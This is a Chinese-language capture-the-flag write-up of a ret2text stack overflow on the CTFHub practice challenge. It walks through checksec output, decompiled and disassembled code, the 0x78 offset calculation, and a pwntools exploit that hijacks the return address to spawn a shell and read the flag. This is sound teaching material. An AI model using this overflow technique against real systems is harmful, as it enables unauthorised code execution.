栈溢出——ret2text

5年前

前言

栈溢出是缓冲区溢出的一种。函数的局部变量通常保存在栈上,如果这些缓冲区发生溢出,就是栈溢出。最经典的栈溢出利用方式是覆盖函数的返回地址[即ROP](Return Oriented Programming),以达到劫持程序控制流的目的。

在x86架构中,CPU执行call指令会先将当前call指令的下一条指令的地址入栈,再跳转到被调用函数。当被调用函数需要返回时就执行ret指令,接着CPU会执行出栈,栈顶的地址会赋给EIP寄存器。这个地址让被调用函数知道返回到调用函数的什么位置,叫做返回地址。理想情况下,取出的地址就是之前调用call存入的地址,以保证可以返回到父函数继续执行。

ret2text原理

ret2text顾名思义,即控制返回地址指向程序本身已有的代码(.text)[利用地址]并执行。

工具准备

IDA、DBG、pwndbg、peda、pwntools

例题描述(ctfhub技能树 ret2text )

nc challenge-dbabb54d9de9a05e.sandbox.ctfhub.com 29815
附件:pwn

ROP过程


问题分析

下载附件,解压查看基本信息。

发现是个64位的elf文件 。

然后我们检查它的保护机制 。

root@192:/home/cjm/桌面# gdb
GNU gdb (Debian 10.1-2) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.                      
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
pwndbg: loaded 198 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)                                                                    
gdb-peda$ checksec pwn
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

发现安全措施都没有开启。我们把它放进IDA中,按F5进行反编译,看看main函数的源代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[112]; // [rsp+0h] [rbp-70h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("Welcome to CTFHub ret2text.Input someting:");
  gets(v4);
  puts("bye");
  return 0;
}

有一些输入输出函数调用且未对输入数据进行长度限制,下面我们再看看secure函数内容

int secure()
{
  unsigned int v0; // eax
  int result; // eax
  int v2; // [rsp+8h] [rbp-8h] BYREF
  int v3; // [rsp+Ch] [rbp-4h]

  v0 = time(0LL);
  srand(v0);
  v3 = rand();
  __isoc99_scanf(&unk_4008C8, &v2);
  result = v2;
  if ( v3 == v2 )
    result = system("/bin/sh");
  return result;
}

里面调用了system('/bin/sh')。由此可见,这道题是通过gets()函数传递变量覆盖返回地址执行 system('/bin/sh') 获得shell。

我们需要知道两个关键信息:

1.变量的地址

2.system('/bin/sh') 的内存地址

第一步,通过peda调试,反汇编找到变量的地址

gdb-peda$ file ./pwn
Reading symbols from ./pwn...
(No debugging symbols found in ./pwn)
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004007c7 <+0>:     push   rbp
   0x00000000004007c8 <+1>:     mov    rbp,rsp
   0x00000000004007cb <+4>:     sub    rsp,0x70
   0x00000000004007cf <+8>:     mov    rax,QWORD PTR [rip+0x20089a]        # 0x601070 <stdout@@GLIBC_2.2.5>
   0x00000000004007d6 <+15>:    mov    ecx,0x0
   0x00000000004007db <+20>:    mov    edx,0x2
   0x00000000004007e0 <+25>:    mov    esi,0x0
   0x00000000004007e5 <+30>:    mov    rdi,rax
   0x00000000004007e8 <+33>:    call   0x400660 <setvbuf@plt>
   0x00000000004007ed <+38>:    mov    rax,QWORD PTR [rip+0x20088c]        # 0x601080 <stdin@@GLIBC_2.2.5>
   0x00000000004007f4 <+45>:    mov    ecx,0x0
   0x00000000004007f9 <+50>:    mov    edx,0x1
   0x00000000004007fe <+55>:    mov    esi,0x0
   0x0000000000400803 <+60>:    mov    rdi,rax
   0x0000000000400806 <+63>:    call   0x400660 <setvbuf@plt>
   0x000000000040080b <+68>:    lea    rdi,[rip+0xc6]        # 0x4008d8
   0x0000000000400812 <+75>:    call   0x400610 <puts@plt>
   0x0000000000400817 <+80>:    lea    rax,[rbp-0x70]
   0x000000000040081b <+84>:    mov    rdi,rax
   0x000000000040081e <+87>:    mov    eax,0x0
   0x0000000000400823 <+92>:    call   0x400650 <gets@plt>
   0x0000000000400828 <+97>:    lea    rdi,[rip+0xd4]        # 0x400903
   0x000000000040082f <+104>:   call   0x400610 <puts@plt>
   0x0000000000400834 <+109>:   mov    eax,0x0
   0x0000000000400839 <+114>:   leave  
   0x000000000040083a <+115>:   ret    
End of assembler dump.
gdb-peda$ 

变量地址为[rbp-0x70]。我们知道在64位系统中,ebp占8字节。这里rbp后就是ebp,ebp后才是返回地址。我们要填充变量到覆盖返回地址,就要使变量长度为0x70+8=0x78(这个也是偏移长度)。

第二步,同样反汇编调试

gdb-peda$ disassemble secure
Dump of assembler code for function secure:
   0x0000000000400777 <+0>:     push   rbp
   0x0000000000400778 <+1>:     mov    rbp,rsp
   0x000000000040077b <+4>:     sub    rsp,0x10
   0x000000000040077f <+8>:     mov    edi,0x0
   0x0000000000400784 <+13>:    call   0x400640 <time@plt>
   0x0000000000400789 <+18>:    mov    edi,eax
   0x000000000040078b <+20>:    call   0x400630 <srand@plt>
   0x0000000000400790 <+25>:    call   0x400680 <rand@plt>
   0x0000000000400795 <+30>:    mov    DWORD PTR [rbp-0x4],eax
   0x0000000000400798 <+33>:    lea    rax,[rbp-0x8]
   0x000000000040079c <+37>:    mov    rsi,rax
   0x000000000040079f <+40>:    lea    rdi,[rip+0x122]        # 0x4008c8                                                                      
   0x00000000004007a6 <+47>:    mov    eax,0x0
   0x00000000004007ab <+52>:    call   0x400670 <__isoc99_scanf@plt>
   0x00000000004007b0 <+57>:    mov    eax,DWORD PTR [rbp-0x8]
   0x00000000004007b3 <+60>:    cmp    DWORD PTR [rbp-0x4],eax
   0x00000000004007b6 <+63>:    jne    0x4007c4 <secure+77>
   0x00000000004007b8 <+65>:    lea    rdi,[rip+0x10c]        # 0x4008cb                                                                      
   0x00000000004007bf <+72>:    call   0x400620 <system@plt>
   0x00000000004007c4 <+77>:    nop
   0x00000000004007c5 <+78>:    leave  
   0x00000000004007c6 <+79>:    ret    
End of assembler dump.

由于要调用该语句,就拿该语句的地址0x4007b8

编写exp

from pwn import *
host = 'challenge-dbabb54d9de9a05e.sandbox.ctfhub.com'
port = 29815
#p = process("./pwn")
p = connect(host, port)
payload = 'A' * 0x78 + p64(0x4007b8)
p.sendline(payload)
p.interactive()

如若出现错误TypeError: can only concatenate str (not "bytes") to str,是因为python3中bytes类型不能与str类型直接相加,可以写成这样来 b'A' * 0x78 + p64(0x4007b8) 来避免报错。

运行拿到flag。

[x] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815
[x] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815: Trying 47.98.148.7
[+] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815: Done
[*] Switching to interactive mode
Welcome to CTFHub ret2text.Input someting:
bye
ls
bin
dev
flag
lib
lib32
lib64
pwn
cat flag
ctfhub{ef5af582ab6cd2dc8fbc897e}

参考资料:点击这里